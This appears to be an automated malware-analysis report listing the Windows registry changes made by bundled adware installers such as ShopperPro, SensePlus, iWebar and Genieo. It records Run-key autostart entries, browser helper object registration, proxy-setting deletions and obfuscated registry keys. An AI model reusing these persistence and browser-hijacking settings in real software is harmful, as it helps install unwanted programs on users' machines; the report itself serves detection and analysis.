[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "BF 96 8E 7F 5B 17 1F 41 54 D6 E0 64 22 18 AF B6"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 58 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"
"TimeStamp" = "1431730972"
"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process powershell.exe:3892 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:3656 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:3180 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

The process setup.exe:3260 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB7FA.tmp\DCytaiesmt_smtyc_setup.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB7FA.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\AccDownload.dll,"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ShopperPro]
"UninstallString" = "%Program Files% (x86)\ShopperPro\SPremove.exe"
"DisplayName" = "Shopper-Pro"
"DisplayIcon" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\ShopperPro.exe]
"(Default)" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process BF0A.tmp:2252 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "CE 4A C7 4D 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5B 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "67 FF 97 52 63 8F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process Bientrmqu.exe:3948 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"CrPublisherId" = "20891"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"DisplayVersion" = "1.36.01.22"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "32 BC 68 47 63 8F D0 01"

[HKLM\SOFTWARE\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "C9 C9 4F 44 63 8F D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1431730972"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"DisplayIcon" = "%Program Files% (x86)\SensePlus\utils.exe"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\SensePlus\Installer]
"BundledFirefox" = "1"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"Publisher" = "Sense "
"DisplayName" = "SensePlus"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 57 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"CrAppId" = "70299"
"UninstallString" = "%Program Files% (x86)\SensePlus\Uninstall.exe /fcp=1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCU\Software\InstalledBrowserExtensions\Sense ]
"70299" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKCU\Software\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

The process ShopperPro.exe:3760 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"UserId" = "d37f2acf-36b1-44a7-82e5-18cd40d4d9e7"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplore" = "1"

[HKLM\SOFTWARE\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"Aff" = "smtyc"

[HKLM\SOFTWARE\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "4A CC 15 41 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "52 D9 47 3F 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ExeLocation" = "%Program Files% (x86)\ShopperPro"
"Version" = "3.1.9466.1835"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4F 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ChromeExtFile" = "ShopperPro.crx"
"ChromeExtID" = "ojhagnahfpegocdhlopgljpaafeogmcc"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DriverVersion" = "1.42.1.1835"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\ExtraInfo]
"DBVersion" = "1.0.1.5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.1.1835\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.1.1835\jsdrv.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process genieo_setup.exe:3576 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Genieo]
"supported_langs" = ";en;"

[HKCU\Software\Genieo\Components\Partner]
"default_partner_version" = "1.0.400"
"active_partner" = "gim394750002"
"default_partner" = "genieo"
"install_monetizer_url" = ""
"installed_partner" = "gim394750002"

[HKCU\Software\Genieo]
"client_localization" = "en"

The process b26f5a73-8099-47b6-80d1-63be8518ea67-4.exe:3768 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\iWebar\U/mwtMJQRCKR0dU2rxQ4oph6X45x6O83/tPa4qzbRFFQlpD8vi6EOqZi22NegCITusO1G3TtiH4LD Z8Lxftub6x5B8oXx7BwmBtVZA3jXV8s 2z06x6XpZkQN/5ATUtsPzEooip2Zh6xCXLYw dv uJG8jyegsaBUbTRn9nZDo=]
"Ul0n1X03IbQ6xiPBCEDslxZ9fsRrLJ/vqSZLr9gZ0O KUCestLVRWje2vR4RIlDDKH6ZKOwvlLyt17ra1z7xzZbKWwqNFFUjlmufcqRV4ch2iTPwfFjrdfz6c e4uUdC3qjqU0STqs6kBy2ggedKg6oa4w0h8SvBpRP2bxSQ61k=" = "1"

[HKLM\SOFTWARE\Wow6432Node\iWebar\Sxuc s6UHdkkBMI3TPbMDdOjupuw7F18Q7PshVRAk FZxDEu/apwrp/9MdF8gTh0dCgXajutsY2KOoFd bv1IitpbTes0RLNENToBGpPazaoliQi1tkegTAcOIGyiV3QRp6V6OquZlyL /e6vfFjGnQ2gaaJ1Jlo4GCXzibNflw=]
"llN1Jcd35X4oPnbdFkuoaACNUqQF3snJnuz/hEY7eN/KVqlSiUdbHUs0LaqrObNekoMAj 6UjKIgs U8d5qa1I/EEhPonbr1w3ffKbLitE1rN/cC9quJsxaJcPzDykUgzwFqrF/ Gzt 478ht9jhE3pvsTEzQ23gIYgcxI94mLs=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process wpm_v20.0.0.2227.exe:3016 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\supWindowsMangerProtect]
"ptid" = "smt"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process Jljudlej.exe:3976 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"DisplayName" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"CrAppId" = "70121"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"Publisher" = "Webby"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\iWebar\Installer]
"BundledFirefox" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "6F EE 50 47 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "C9 C9 4F 44 63 8F D0 01"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1431730972"

[HKCU\Software\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"DisplayIcon" = "%Program Files% (x86)\iWebar\utils.exe"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"UninstallString" = "%Program Files% (x86)\iWebar\Uninstall.exe /fcp=1"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"DisplayVersion" = "1.36.01.22"
"CrPublisherId" = "21836"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 56 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"
"TraceDestination" = "3"

[HKLM\SOFTWARE\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\InstalledBrowserExtensions\Webby]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

The process regsvr32.exe:2836 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\HELPDIR]
"(Default)" = "C:\ProgramData\ShopperPro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "ShopperPro 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplorer" = "1"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]

The process regsvr32.exe:3644 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
